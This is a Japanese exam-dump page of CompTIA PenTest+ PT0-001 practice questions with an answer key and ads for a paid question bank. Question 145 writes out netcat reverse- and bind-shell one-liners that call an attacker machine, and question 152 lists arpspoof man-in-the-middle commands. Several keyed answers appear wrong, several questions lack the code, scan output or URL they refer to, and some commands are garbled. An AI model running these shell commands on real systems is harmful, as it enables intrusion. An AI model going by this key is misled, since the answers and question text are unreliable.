PassTestからの試験合格準備の必需品PT0-001試験トレーニング問題
有効なパス率はCompTIA PenTest+のPT0-001試験問題
質問 145
During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).
- A. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/ tmp/f
- B. nc 192.168.1.5 44444
- C. nc -e /bin/sh 192.168.1.5 44444
- D. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/ tmp/f
- E. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/ tmp/f
- F. nc -nlvp 44444 -e /bin/sh
正解: E,F
解説:
Explanation/Reference:
References: https://www.reddit.com/r/hacking/comments/5ms9gv/help_reverse_shell_exploit/
質問 146
A penetration tester is performing a code review against a web application Given the following URL and source code:
Which of the following vulnerabilities is present in the code above?
- A. LDAP injection
- B. Command injection
- C. SQL injection
- D. Cross-site scripting
正解: B
質問 147
Black box penetration testing strategy provides the tester with:
- A. a target list
- B. a network diagram
- C. source code
- D. privileged credentials
正解: A
質問 148
Which of the following is an example of a spear phishing attack?
- A. Targeting a specific team with an email attack
- B. Targeting random users with a USB key drop
- C. Targeting an executive with an SMS attack
- D. Targeting an organization with a watering hole attack
正解: C
質問 149
A healthcare organization must abide by local regulations to protect and attest to the protection of personal health information of covered individuals.
Which of the following conditions should a penetration tester specifically test for when performing an assessment? (Select TWO).
- A. Software bugs resident in the IT ticketing system
- B. Health information communicated over HTTP
- C. Cleartext exposure of SNMP trap data
- D. DAR encryption on records servers
- E. S/MIME certificate templates defined by the CA
正解: B,D
質問 150
A penetration tester reviews the scan results of a web application.
Which of the following vulnerabilities is MOST critical and should be prioritized for exploitation?
- A. Expired certificate
- B. Stored XSS
- C. Fill path disclosure
- D. Clickjacking
正解: B
解説:
References https://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_(XSS)
質問 151
A penetration tester is using the Onesixtyone tool on Kali Linux to try to exploit the SNMP protocol on a target that has SNMP enabled Which of the following types of attacks is the penetration tester performing?
- A. Man-in-the-middle attack
- B. Name resolution attack
- C. Buffer overflow attack
- D. Dictionary-based attack
正解: D
質問 152
A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below:
IP: 192.168.1.20
NETMASK: 255.255.255.0
DEFAULT GATEWAY: 192.168.1.254
DHCP: 192.168.1.253
DNS: 192.168.10.10, 192.168.20.10
Which of the following commands should the malicious user execute to perform the MITM attack?
- A. arpspoof -c both -r -t 192.168.1.1 192.168.1.20
- B. arpspoof -t 192.168.1.20 192.168.1.254
- C. arpspoof -c both -t 192.168.1.20 192.168.1.253
- D. arpspoof -r -t 192.168.1.253 192.168.1.20
正解: B
解説:
Explanation/Reference:
Reference: https://www.hackers-arise.com/single-post/2017/07/25/Man-the-Middle-MiTM-Attack-with- ARPspoofing
質問 153
A penetration tester identifies the following findings during an external vulnerability scan:
Which of the following attack strategies should be prioritized from the scan results above?
- A. Web server configurations may reveal sensitive information
- B. Cryptographically weak protocols may be intercepted
- C. Weak password management practices may be employed
- D. Obsolete software may contain exploitable components
正解: B
質問 154
A penetration tester observes that several high-numbered ports are listening on a public web server.
However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend?
- A. Filter port 443 to specific IP addresses.
- B. Transition the application to another port.
- C. Implement a web application firewall.
- D. Disable unneeded services.
正解: D
質問 155
After successfully enumerating users on an Active Directory domain controller using enum4linux a penetration tester wants to conduct a password-guessing attack Given the below output:
Which of the following can be used to extract usernames from the above output prior to conducting the attack?
- A. grep user enuza41inux_output.txt I awk '{print $1}' | cut -d[ -f2 I cut -d] -f1 > username.txt
- B. grep -i rid v< enura.41inux_output. txt' | cut -d: -f2 i cut -d] -f1 > usernames. txt
- C. cut -d: -f2 enum41inux_output.txt | awk '{print S2}' I cut -d: -f1 > usernaraes.txt
- D. cat enum41inux_output.txt > grep -v user I sed 's/\[//' I sed 's/\]//' 2> usernames.txt
正解: A
質問 156
A client has scheduled a wireless penetration test. Which of the following describes the scoping target information MOST likely needed before testing can begin?
- A. The number of wireless devices owned by the client
- B. The bands and frequencies used by the client's devices
- C. The client's preferred wireless access point vendor
- D. The physical location and network ESSIDs to be tested
正解: B
質問 157
A security analyst has uncovered a suspicious request in the logs for a web application.
Given the following URL:
- A. Remote file inclusion
- B. User enumeration
- C. Cross-site scripting
- D. Directory traversal
正解: B
質問 158
While engaging clients for a penetration test from highly regulated industries, which of the following is usually the MOST important to the clients from a business perspective?
- A. Letter of engagement and attestation of findings
- B. NDA and MSA
- C. SOW and final report
- D. Risk summary and executive summary
正解: D
質問 159
A penetration tester discovers an anonymous FTP server that is sharing the C:\drive. Which of the following is the BEST exploit?
- A. Place a batch script in the startup folder for all users.
- B. Escalate the tester's privileges to SYSTEM using the at.exe command.
- C. Download, modify, and reupload a compromised registry to obtain code execution.
- D. Change a service binary location path to point to the tester's own payload.
正解: D
質問 160
A client has requested an external network penetration test for compliance purposes. During discussion between the client and the penetration tester, the client expresses unwillingness to add the penetration tester's source IP addresses to the client's IPS whitelist for the duration of the test. Which of the following is the BEST argument as to why the penetration tester's source IP addresses should be whitelisted?
- A. Penetration testing of third-party IPS systems often requires additional documentation and authorizations; potentially delaying the time-sensitive test.
- B. Testing should focus on the discovery of possible security issues across all in-scope systems, not on determining the relative effectiveness of active defenses such as an IPS.
- C. Whitelisting prevents a possible inadvertent DoS attack against the IPS and supporting log-monitoring systems.
- D. IPS whitelisting rules require frequent updates to stay current, constantly developing vulnerabilities and newly discovered weaknesses.
正解: B
質問 161
In a physical penetration tester testing scenario. the penetration tester obtains physical access to a laptop. The laptop is logged in but locked. Which of the following is a potential NEXT step to extract credentials from the device?
- A. Perform an ARP spoofing attack.
- B. Brute force the user's password.
- C. Conduct LLMNR/NETBIOS-ns poisoning.
- D. Leverage the BeEF framework to capture credentials.
正解: B
質問 162
A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack Which of the following remediation steps should be recommended? (Select THREE)
- A. Upgrade the cipher suite used for the VPN solution
- B. Install an intrusion prevention system
- C. Implement two-factor authentication for remote access
- D. Install a security information event monitoring solution.
- E. Increase password complexity requirements
- F. Mandate all employees take security awareness training
- G. Prevent members of the IT department from interactively logging in as administrators
正解: A,E,F
質問 163
A penetration tester wants to check manually if a "ghost" vulnerability exists in a system. Which of the following methods is the correct way to validate the vulnerability?
- A. Download the GHOST file to a Linux system and compilegcc -o GHOST.ctest i:./GHOST
- B. Download the GHOST file to a Windows system and compilegcc -o GHOST GHOST.ctest i:./GHOST
- C. Download the GHOST file to a Linux system and compilegcc -o GHOSTtest i:./GHOST
- D. Download the GHOST file to a Windows system and compilegcc -o GHOSTtest i:./GHOST
正解: A
質問 164
A vulnerability scan identifies that an SSL certificate does not match the hostname; however, the client disputes the finding. Which of the following techniques can the penetration tester perform to adjudicate the validity of the findings?
- A. Ensure the scanner is configured to perform ARP resolution.
- B. Ensure the scanner is configured to analyze IP hosts.
- C. Ensure the scanner has the proper plug -ins loaded.
- D. Ensure the scanner can make outbound DNS requests.
正解: D
解説:
Explanation/Reference:
質問 165
......
全問PT0-001問題集とCompTIA PenTest+ Certification Examトレーニングコース：https://www.passtest.jp/CompTIA/PT0-001-shiken.html
無料テストエンジンCompTIA PenTest+ Certification Exam認定試験：https://drive.google.com/open?id=1f8de7IblrB7gb2YyBJGgmZUs4orL9rJk